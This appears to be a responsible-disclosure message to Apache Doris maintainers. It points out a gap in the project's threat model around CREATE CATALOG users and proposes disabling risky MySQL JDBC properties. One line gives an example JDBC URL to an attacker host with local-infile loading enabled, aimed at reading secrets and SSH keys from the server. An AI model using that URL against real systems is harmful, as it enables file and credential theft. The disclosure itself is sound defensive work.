Hi, Under the written threat model for Doris, JDBC driver responses are Zone-3 admin-trusted (4.6) and a compromised external catalog is trusted-input, so a plain "malicious MySQL server reads my files" report is out of scope. I also confirmed there is no path to these driver properties without CREATE-CATALOG privilege. A catalog user queries an admin-fixed URL and can't inject props, so the privilege-free case you'd want doesn't exist.
The model looks internally inconsistent for one actor it already accepts: 4.2 lists an "Authenticated user holding CREATE CATALOG (sub-admin)" as in scope: Yes (the narrow SSRF actor of 4.9 / M13). In code this is a grantable, catalog-scoped privilege, CreateCatalogCommand checks PrivPredicate.CREATE, not ADMIN_PRIV/SUPER... so this actor is real, not hypothetical. The same table trusts JDBC driver responses on the basis that the catalog is "SUPER-attached" (4.7), which contradicts the sub-admin CREATE-CATALOG row. The consequence is that the very actor the model commits to defending for SSRF (an Iceberg REST URL) can instead attach jdbc:mysql://attacker/?allowLoadLocalInfile=true and obtain arbitrary read of files on the FE host as the FE process user (fe.conf secrets, keytabs, id_rsa). That is strictly more than the SSRF the model already counts for this actor, and it isn't captured anywhere in the model, neither defended nor documented as accepted residual risk for that actor. For the in-scope sub-admin CREATE-CATALOG actor, should driver-response file-read be defended, or explicitly documented as residual risk? Either resolves the inconsistency. This is a hardening change/suggestion: Force 'allowLoadLocalInfile=false', 'allowUrlInLocalInfile=false', and 'autoDeserialize=false' for MySQL/OceanBase in 'JdbcResource.handleJdbcUrl()' (overriding any user-supplied value), which is exactly the mitigation Trino/Presto and StarRocks adopted for this class. It's a one-line-per-property change and aligns with the model's existing SSRF-hardening posture. Thanks, Gjoko
